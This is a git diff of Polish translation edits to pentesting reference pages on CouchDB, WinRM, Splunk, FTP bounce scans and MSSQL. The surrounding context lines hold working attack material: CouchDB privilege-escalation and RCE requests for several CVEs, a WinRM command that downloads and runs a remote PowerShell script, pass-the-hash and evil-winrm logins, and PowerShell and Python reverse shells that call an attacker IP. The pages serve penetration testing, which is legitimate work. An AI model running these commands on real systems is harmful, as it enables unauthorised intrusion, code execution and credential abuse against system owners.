@@ -38,20 +38,20 @@ To są punkty końcowe, do których możesz uzyskać dostęp za pomocą żądani
 
 - **`/_active_tasks`** Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu.
 - **`/_all_dbs`** Zwraca listę wszystkich baz danych w instancji CouchDB.
-- \*\*`/_cluster_setup`\*\* Zwraca status węzła lub klastra, zgodnie z kreatorem konfiguracji klastra.
-- **`/_db_updates`** Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do użycia tego punktu końcowego.
+- **`/_cluster_setup`** Zwraca status węzła lub klastra, zgodnie z kreatorem konfiguracji klastra.
+- **`/_db_updates`** Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do korzystania z tego punktu końcowego.
 - **`/_membership`** Wyświetla węzły, które są częścią klastra jako `cluster_nodes`. Pole `all_nodes` wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra.
 - **`/_scheduler/jobs`** Lista zadań replikacji. Opis każdego zadania będzie zawierał informacje o źródle i celu, identyfikator replikacji, historię ostatnich zdarzeń i kilka innych rzeczy.
 - **`/_scheduler/docs`** Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach `completed` i `failed`. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel oraz inne informacje.
 - **`/_scheduler/docs/{replicator_db}`**
 - **`/_scheduler/docs/{replicator_db}/{docid}`**
-- **`/_node/{node-name}`** Punkt końcowy `/_node/{node-name}` może być użyty do potwierdzenia nazwy węzła Erlang serwera, który przetwarza żądanie. Jest to najbardziej przydatne podczas uzyskiwania dostępu do `/_node/_local`, aby uzyskać te informacje.
-- **`/_node/{node-name}/_stats`** Zasób `_stats` zwraca obiekt JSON zawierający statystyki dla działającego serwera. Literalny ciąg `_local` służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, `{node-name}` może być zastąpione `_local`, aby interagować ze statystykami lokalnego węzła.
+- **`/_node/{node-name}`** Punkt końcowy `/_node/{node-name}` może być użyty do potwierdzenia nazwy węzła Erlang serwera, który przetwarza żądanie. Jest to najbardziej przydatne przy uzyskiwaniu dostępu do `/_node/_local`, aby uzyskać te informacje.
+- **`/_node/{node-name}/_stats`** Zasób `_stats` zwraca obiekt JSON zawierający statystyki dla działającego serwera. Dosłowny ciąg `_local` służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, `{node-name}` może być zastąpione `_local`, aby interagować z lokalnymi statystykami węzła.
 - **`/_node/{node-name}/_system`** Zasób \_system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu dla działającego serwera\_.\_ Możesz użyć \_\_`_local` jako {node-name}, aby uzyskać informacje o bieżącym węźle.
 - **`/_node/{node-name}/_restart`**
 - **`/_up`** Potwierdza, że serwer jest uruchomiony, działa i jest gotowy do odpowiadania na żądania. Jeśli [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) jest `true` lub `nolb`, punkt końcowy zwróci odpowiedź 404.
-- \*\*`/_uuids`\*\* Żąda jednego lub więcej Uniwersalnych Unikalnych Identyfikatorów (UUID) z instancji CouchDB.
-- \*\*`/_reshard`\*\* Zwraca liczbę zakończonych, nieudanych, działających, zatrzymanych i całkowitych zadań wraz z stanem reshardingu w klastrze.
+- **`/_uuids`** Żąda jednego lub więcej Uniwersalnych Unikalnych Identyfikatorów (UUID) z instancji CouchDB.
+- **`/_reshard`** Zwraca liczbę zakończonych, nieudanych, działających, zatrzymanych i wszystkich zadań wraz z stanem reshardingu w klastrze.
 
 Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
 
@@ -59,13 +59,13 @@ Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: [
 ```
 curl -X GET http://IP:5984/_all_dbs
 ```
-Jeśli ta prośba **zwraca 401 nieautoryzowany**, potrzebujesz **ważnych poświadczeń**, aby uzyskać dostęp do bazy danych:
+Jeśli ta prośba **zwraca 401 nieautoryzowany**, potrzebujesz **ważnych poświadczeń** do uzyskania dostępu do bazy danych:
 ```
 curl -X GET http://user:password@IP:5984/_all_dbs
 ```
-Aby znaleźć ważne dane uwierzytelniające, możesz **spróbować** [**przeprowadzić atak siłowy na usługę**](../generic-hacking/brute-force.md#couchdb).
+Aby znaleźć ważne dane logowania, możesz **spróbować** [**przeprowadzić atak brute force na usługę**](../generic-hacking/brute-force.md#couchdb).
 
-To jest **przykład** odpowiedzi couchdb, gdy masz **wystarczające uprawnienia** do wyświetlenia baz danych (to tylko lista baz danych):
+To jest **przykład** odpowiedzi couchdb, gdy masz **wystarczające uprawnienia** do wyświetlenia listy baz danych (to tylko lista baz danych):
 ```bash
 ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
 ```
@@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
 ```
 ## CouchDB Eskalacja Uprawnień [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
 
-Dzięki różnicom między parserami JSON w Erlangu i JavaScripcie możesz **utworzyć użytkownika admina** z danymi uwierzytelniającymi `hacktricks:hacktricks` za pomocą następującego żądania:
+Dzięki różnicom między parserami JSON w Erlangu i JavaScript, możesz **utworzyć użytkownika administratora** z danymi uwierzytelniającymi `hacktricks:hacktricks` za pomocą następującego żądania:
 ```bash
 curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
 ```
@@ -118,24 +118,24 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
 
 Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
 
-W dokumentacji CouchDB, szczególnie w sekcji dotyczącej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest użycie portów przez CouchDB w trybie klastra. Wspomniano, że, podobnie jak w trybie samodzielnym, używany jest port `5984`. Dodatkowo, port `5986` jest przeznaczony dla lokalnych API węzłów, a co ważne, Erlang wymaga portu TCP `4369` dla Daemon Port Mapper Erlang (EPMD), ułatwiającego komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
+W dokumentacji CouchDB, szczególnie w sekcji dotyczącej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest użycie portów przez CouchDB w trybie klastra. Wspomniano, że, podobnie jak w trybie samodzielnym, używany jest port `5984`. Dodatkowo, port `5986` jest przeznaczony dla lokalnych API węzłów, a co ważne, Erlang wymaga portu TCP `4369` dla Daemon Port Mapper Erlang (EPMD), co ułatwia komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
 
-Podkreślono istotne ostrzeżenie dotyczące portu `4369`. Jeśli ten port jest udostępniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpieczeństwo systemu w dużej mierze opiera się na unikalnym identyfikatorze znanym jako "ciasteczko." To ciasteczko działa jako zabezpieczenie. Na przykład, w danej liście procesów, można zaobserwować ciasteczko o nazwie "monster", co wskazuje na jego rolę operacyjną w ramach systemu zabezpieczeń.
+Podkreślono istotne ostrzeżenie dotyczące portu `4369`. Jeśli ten port jest udostępniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpieczeństwo systemu w dużej mierze opiera się na unikalnym identyfikatorze znanym jako "ciasteczko". To ciasteczko działa jako zabezpieczenie. Na przykład, w danej liście procesów, można zaobserwować ciasteczko o nazwie "monster", co wskazuje na jego rolę operacyjną w ramach systemu zabezpieczeń.
 ```
 www-data@canape:/$ ps aux | grep couchdb
 root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
 root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
 homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
 ```
-Dla tych, którzy są zainteresowani zrozumieniem, jak ten "ciasteczko" może być wykorzystane do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz [**zbadać szczegółowy przewodnik dotyczący nadużywania ciasteczek Erlang do RCE tutaj**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
+Dla tych, którzy są zainteresowani zrozumieniem, jak ten "ciasteczko" może być wykorzystane do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz [**zbadać szczegółowy przewodnik dotyczący nadużywania ciasteczek Erlang dla RCE tutaj**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
 
 ### **Wykorzystywanie CVE-2018-8007 poprzez modyfikację local.ini**
 
 Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
 
-Ostatnio ujawniona podatność, CVE-2018-8007, dotycząca Apache CouchDB, została zbadana, ujawniając, że wykorzystanie jej wymaga uprawnień do zapisu w pliku `local.ini`. Chociaż nie jest to bezpośrednio stosowane do początkowego systemu docelowego z powodu ograniczeń bezpieczeństwa, wprowadzono modyfikacje, aby przyznać dostęp do zapisu w pliku `local.ini` w celach eksploracyjnych. Poniżej przedstawiono szczegółowe kroki i przykłady kodu, ilustrujące ten proces.
+Ostatnio ujawniona luka, CVE-2018-8007, dotycząca Apache CouchDB, została zbadana, ujawniając, że wykorzystanie jej wymaga uprawnień do zapisu w pliku `local.ini`. Chociaż nie jest to bezpośrednio stosowane w początkowym systemie docelowym z powodu ograniczeń bezpieczeństwa, wprowadzono modyfikacje, aby przyznać dostęp do zapisu w pliku `local.ini` w celach eksploracyjnych. Szczegółowe kroki i przykłady kodu są podane poniżej, ilustrując proces.
 
-Najpierw środowisko jest przygotowywane poprzez upewnienie się, że plik `local.ini` jest zapisywalny, co weryfikuje się poprzez wylistowanie uprawnień:
+Najpierw środowisko jest przygotowywane poprzez upewnienie się, że plik `local.ini` jest zapisywalny, co jest weryfikowane poprzez wylistowanie uprawnień:
 ```bash
 root@canape:/home/homer/etc# ls -l
 -r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
@@ -147,7 +147,7 @@ Aby wykorzystać lukę, wykonywana jest komenda curl, celująca w konfigurację
 ```bash
 www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
 ```
-Następna weryfikacja pokazuje wstrzykniętą konfigurację w `local.ini`, porównując ją z kopią zapasową, aby uwydatnić zmiany:
+Kolejna weryfikacja pokazuje wstrzykniętą konfigurację w `local.ini`, porównując ją z kopią zapasową, aby uwydatnić zmiany:
 ```bash
 root@canape:/home/homer/etc# diff local.ini local.ini.bk
 119,124d118
@@ -168,13 +168,13 @@ root@canape:/home/homer/etc# ls /tmp/0xdf
 ```
 To badania potwierdzają wykonalność eksploatacji CVE-2018-8007 w określonych warunkach, szczególnie wymaganie dostępu do zapisu do pliku `local.ini`. Podane przykłady kodu i kroki proceduralne oferują jasny przewodnik do powtórzenia eksploitu w kontrolowanym środowisku.
 
-Aby uzyskać więcej informacji na temat CVE-2018-8007, zapoznaj się z komunikatem mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
+Aby uzyskać więcej informacji na temat CVE-2018-8007, zapoznaj się z poradnikiem mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
 
 ### **Badanie CVE-2017-12636 z uprawnieniami do zapisu na local.ini**
 
 Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
 
-Zbadano lukę znaną jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż konkretne konfiguracje mogą uniemożliwić jej eksploatację. Pomimo licznych odniesień do Proof of Concept (POC) dostępnych w Internecie, konieczne są dostosowania, aby wykorzystać lukę w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Początkowe kroki obejmują weryfikację wersji CouchDB i potwierdzenie braku oczekiwanego ścieżki serwerów zapytań:
+Zbadano podatność znaną jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż konkretne konfiguracje mogą uniemożliwić jej eksploatację. Pomimo licznych odniesień do Proof of Concept (POC) dostępnych w Internecie, konieczne są dostosowania, aby wykorzystać tę podatność w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Początkowe kroki obejmują weryfikację wersji CouchDB i potwierdzenie braku oczekiwanego ścieżki serwerów zapytań:
 ```bash
 curl http://localhost:5984
 curl http://0xdf:df@localhost:5984/_config/query_servers/
@@ -184,7 +184,7 @@ Aby dostosować się do wersji CouchDB 2.0, wykorzystuje się nową ścieżkę:
 curl 'http://0xdf:df@localhost:5984/_membership'
 curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
 ```
-Próby dodania i wywołania nowego serwera zapytań spotkały się z błędami związanymi z uprawnieniami, co wskazuje na poniższy wynik:
+Próby dodania i wywołania nowego serwera zapytań spotkały się z błędami związanymi z uprawnieniami, co wskazuje poniższy wynik:
 ```bash
 curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
 ```
@@ -205,14 +205,14 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design
 ```
 Podsumowanie z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. Przydatne zasoby do wykorzystania tej podatności obejmują:
 
-- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
-- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
+- [Kod exploita POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
+- [Wpis w bazie danych exploitów](https://www.exploit-db.com/exploits/44913/)
 
 ## Shodan
 
 - `port:5984 couchdb`
 
-## References
+## Odniesienia
 
 - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
 - [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
index ef9dbfbf9..25d104589 100644
--- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md
+++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
@@ -4,9 +4,9 @@
 
 ## WinRM
 
-[Windows Remote Management (WinRM)]() jest wyróżniony jako **protokół firmy Microsoft**, który umożliwia **zdalne zarządzanie systemami Windows** przez HTTP(S), wykorzystując SOAP w tym procesie. Jest zasadniczo zasilany przez WMI, prezentując się jako interfejs oparty na HTTP dla operacji WMI.
+[Windows Remote Management (WinRM)]() jest wyróżniony jako **protokół od Microsoftu**, który umożliwia **zdalne zarządzanie systemami Windows** przez HTTP(S), wykorzystując SOAP w tym procesie. Jest zasadniczo zasilany przez WMI, prezentując się jako interfejs oparty na HTTP do operacji WMI.
 
-Obecność WinRM na maszynie umożliwia prostą zdalną administrację za pomocą PowerShell, podobnie jak działa SSH w innych systemach operacyjnych. Aby sprawdzić, czy WinRM działa, zaleca się sprawdzenie otwarcia konkretnych portów:
+Obecność WinRM na maszynie umożliwia prostą zdalną administrację za pomocą PowerShell, podobnie jak SSH działa w innych systemach operacyjnych. Aby sprawdzić, czy WinRM działa, zaleca się sprawdzenie otwarcia konkretnych portów:
 
 - **5985/tcp (HTTP)**
 - **5986/tcp (HTTPS)**
@@ -15,22 +15,22 @@ Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, co po
 
 ### **Inicjowanie sesji WinRM**
 
-Aby skonfigurować PowerShell dla WinRM, używa się polecenia `Enable-PSRemoting` firmy Microsoft, które przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:
-```powershell
+Aby skonfigurować PowerShell dla WinRM, wchodzi w grę cmdlet Microsoftu `Enable-PSRemoting`, który przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:
+```bash
 Enable-PSRemoting -Force
 Set-Item wsman:\localhost\client\trustedhosts *
 ```
 To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji `trustedhosts`, co wymaga ostrożnego rozważenia ze względu na jego konsekwencje. Zauważono również, że zmiana typu sieci z "Public" na "Work" może być konieczna na maszynie atakującego.
 
 Ponadto, WinRM można **aktywować zdalnie** za pomocą polecenia `wmic`, co pokazano poniżej:
-```powershell
+```bash
 wmic /node: process call create "powershell enable-psremoting -force"
 ```
 Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność w zarządzaniu maszynami z systemem Windows zdalnie.
 
-### Sprawdź, czy jest skonfigurowane
+### Sprawdź, czy skonfigurowano
 
-Aby zweryfikować konfigurację twojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowany WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego:
+Aby zweryfikować konfigurację swojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowany WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego:
 
 - Dla celu, który **jest** prawidłowo skonfigurowany, wynik będzie wyglądał podobnie do tego:
 ```bash
@@ -46,28 +46,28 @@ Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza,
 
 ### Wykonaj polecenie
 
-Aby zdalnie wykonać `ipconfig` na docelowej maszynie i zobaczyć jego wynik, wykonaj:
-```powershell
+Aby zdalnie wykonać `ipconfig` na docelowej maszynie i zobaczyć jego wynik, zrób:
+```bash
 Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
 ```
 ![](<../images/image (151).png>)
 
 Możesz również **wykonać polecenie z bieżącej konsoli PS za pomocą** _**Invoke-Command**_. Załóżmy, że masz lokalnie funkcję o nazwie _**enumeration**_ i chcesz ją **wykonać na zdalnym komputerze**, możesz to zrobić:
-```powershell
+```bash
 Invoke-Command -ComputerName  -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
 ```
 ### Wykonaj skrypt
-```powershell
+```bash
 Invoke-Command -ComputerName  -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
 ```
 ### Uzyskaj powłokę odwrotną
-```powershell
+```bash
 Invoke-Command -ComputerName  -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
 ```
 ### Uzyskaj sesję PS
 
 Aby uzyskać interaktywną powłokę PowerShell, użyj `Enter-PSSession`:
-```powershell
+```bash
 #If you need to use different creds
 $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
 ## Note the ".\" in the suername to indicate it's a local user (host domain)
@@ -90,13 +90,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
 ### **Wymuszanie otwarcia WinRM**
 
 Aby używać PS Remoting i WinRM, ale komputer nie jest skonfigurowany, możesz to włączyć za pomocą:
-```powershell
+```bash
 .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
 ```
 ### Saving and Restoring sessions
 
-To **nie zadziała**, jeśli **język** jest **ograniczony** na zdalnym komputerze.
-```powershell
+To **nie zadziała** jeśli **język** jest **ograniczony** na zdalnym komputerze.
+```bash
 #If you need to use different creds
 $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
 ## Note the ".\" in the suername to indicate it's a local user (host domain)
@@ -108,7 +108,7 @@ $sess1 = New-PSSession -ComputerName  [-SessionOption (New-PSSessi
 Enter-PSSession -Session $sess1
 ```
 W ramach tych sesji możesz ładować skrypty PS za pomocą _Invoke-Command_
-```powershell
+```bash
 Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
 ```
 ### Błędy
@@ -142,13 +142,13 @@ crackmapexec winrm  -d  -u  -H  -X '$PSVersionT
 ```ruby
 gem install evil-winrm
 ```
-Przeczytaj **dokumentację** na jego githubie: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
+Przeczytaj **dokumentację** na jej githubie: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
 ```ruby
 evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i /
 ```
 Aby użyć evil-winrm do połączenia z **adresami IPv6**, utwórz wpis w _**/etc/hosts**_, przypisując **nazwę domeny** do adresu IPv6 i połącz się z tą domeną.
 
-### Przekazywanie hasha za pomocą evil-winrm
+### Przekaż hasz za pomocą evil-winrm
 ```ruby
 evil-winrm -u  -H  -i 
 ```
diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md
index e4085df8b..db5786c25 100644
--- a/src/network-services-pentesting/8089-splunkd.md
+++ b/src/network-services-pentesting/8089-splunkd.md
@@ -4,7 +4,7 @@
 
 ## **Podstawowe informacje**
 
-- Narzędzie do analizy logów używane do zbierania, analizy i wizualizacji danych
+- Narzędzie do analizy logów używane do zbierania danych, analizy i wizualizacji
 - Powszechnie używane w monitorowaniu bezpieczeństwa i analizie biznesowej
 - Domyślne porty:
 - Serwer WWW: 8000
@@ -16,7 +16,7 @@
 
 - Wersja próbna automatycznie przekształca się w wersję darmową po 60 dniach
 - Wersja darmowa nie ma uwierzytelnienia
-- Potencjalne ryzyko bezpieczeństwa, jeśli pozostawione bez nadzoru
+- Potencjalne ryzyko bezpieczeństwa, jeśli pozostawiona bez nadzoru
 - Administratorzy mogą przeoczyć implikacje bezpieczeństwa
 
 2. Słabości poświadczeń
@@ -31,7 +31,7 @@
 - Aplikacje Django po stronie serwera
 - Punkty końcowe REST
 - Skrypty wejściowe
-- Skrypty alarmowe
+- Skrypty powiadomień
 - Wsparcie dla wielu platform (Windows/Linux)
 - Skrypty wejściowe mogą uruchamiać:
 - Skrypty Bash
@@ -65,7 +65,7 @@ splunk_shell/
 ├── bin        (reverse shell scripts)
 └── default    (inputs.conf configuration)
 ```
-Plik konfiguracyjny `inputs.conf` włącza skrypt poprzez:
+Krytyczny plik konfiguracyjny `inputs.conf` włącza skrypt poprzez:
 
 - Ustawienie `disabled = 0`
 - Skonfigurowanie 10-sekundowego interwału wykonania
@@ -74,12 +74,12 @@ Plik konfiguracyjny `inputs.conf` włącza skrypt poprzez:
 Wdrożenie jest proste:
 
 1. Utwórz złośliwy pakiet aplikacji
-2. Skonfiguruj nasłuchiwacz (Netcat/socat) na maszynie atakującej
+2. Skonfiguruj nasłuchiwacz (Netcat/socat) na atakującej maszynie
 3. Prześlij aplikację przez interfejs Splunk
 4. Wyzwól automatyczne wykonanie skryptu po przesłaniu
 
-Przykładowy odwrócony shell Windows PowerShell:
-```powershell
+Przykładowy odwrócony shell PowerShell w systemie Windows:
+```bash
 $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
 $stream = $client.GetStream();
 [byte[]]$bytes = 0..65535|%{0};
@@ -103,7 +103,7 @@ s.connect((ip, int(port)))
 [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
 pty.spawn('/bin/bash')
 ```
-### RCE i eskalacja uprawnień
+### RCE & Eskalacja Uprawnień
 
 Na poniższej stronie znajdziesz wyjaśnienie, jak ta usługa może być nadużywana do eskalacji uprawnień i uzyskania trwałości:
 
diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md
index 40ecc3020..89309c9b6 100644
--- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md
+++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md
@@ -7,7 +7,7 @@
 ### Ręczne
 
 1. Połącz się z podatnym FTP
-2. Użyj \*\*`PORT`\*\* lub **`EPRT`** (ale tylko jednego z nich), aby nawiązać połączenie z _\_, który chcesz zeskanować:
+2. Użyj **`PORT`** lub **`EPRT`** (ale tylko jednego z nich), aby nawiązać połączenie z _\_, które chcesz zeskanować:
 
 `PORT 172,32,80,80,0,8080`\
 `EPRT |2|172.32.80.80|8080|`
@@ -19,7 +19,7 @@ Przykład użycia **PORT** (port 8080 172.32.80.80 jest otwarty, a port 7777 jes
 
 ![](<../../images/image (241).png>)
 
-Ten sam przykład używając **`EPRT`** (uwierzytelnienie pominięte na obrazie):
+Ten sam przykład używając **`EPRT`** (autoryzacja pominięta na obrazku):
 
 ![](<../../images/image (539).png>)
 
diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
index 2a4eed9b6..4f0c25f32 100644
--- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@@ -6,23 +6,23 @@
 
 Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
 
-> **Microsoft SQL Server** to system zarządzania **bazą danych** opracowany przez Microsoft. Jako serwer baz danych jest produktem oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji, które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).
+> **Microsoft SQL Server** to system zarządzania **relacyjną bazą danych** opracowany przez Microsoft. Jako serwer baz danych jest produktem oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji, które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).
 
 **Domyślny port:** 1433
 ```
 1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
 ```
-### **Domyślne tabele systemowe MS-SQL**
+### **Domyślne Tabele Systemowe MS-SQL**
 
 - **master Database**: Ta baza danych jest kluczowa, ponieważ rejestruje wszystkie szczegóły na poziomie systemu dla instancji SQL Server.
 - **msdb Database**: SQL Server Agent wykorzystuje tę bazę danych do zarządzania harmonogramem dla alertów i zadań.
-- **model Database**: Działa jako szablon dla każdej nowej bazy danych na instancji SQL Server, gdzie wszelkie zmiany, takie jak rozmiar, porównanie, model odzyskiwania i inne, są odzwierciedlane w nowo utworzonych bazach danych.
-- **Resource Database**: Baza danych tylko do odczytu, która zawiera obiekty systemowe dostarczane z SQL Server. Te obiekty, chociaż fizycznie przechowywane w bazie danych Resource, są logicznie prezentowane w schemacie sys każdej bazy danych.
+- **model Database**: Działa jako szablon dla każdej nowej bazy danych na instancji SQL Server, gdzie wszelkie zmiany, takie jak rozmiar, porządek sortowania, model odzyskiwania i inne, są odzwierciedlane w nowo utworzonych bazach danych.
+- **Resource Database**: Baza danych tylko do odczytu, która zawiera obiekty systemowe dostarczane z SQL Server. Obiekty te, chociaż fizycznie przechowywane w bazie danych Resource, są logicznie prezentowane w schemacie sys każdej bazy danych.
 - **tempdb Database**: Służy jako tymczasowy obszar przechowywania dla obiektów przejściowych lub pośrednich zestawów wyników.
 
 ## Enumeracja
 
-### Automatyczna enumeracja
+### Automatyczna Enumeracja
 
 Jeśli nie wiesz nic o usłudze:
 ```bash
@@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
 msf> use auxiliary/scanner/mssql/mssql_ping
 ```
 > [!NOTE]
-> Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Uważaj, możesz **zablokować konta**, jeśli kilkakrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika.
+> Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Bądź ostrożny, możesz **zablokować konta**, jeśli kilkakrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika.
 
 #### Metasploit (potrzebne poświadczenia)
 ```bash
@@ -102,7 +102,7 @@ sqsh -S  -U .\\ -P  -D 
 1> select 1;
 2> go
 ```
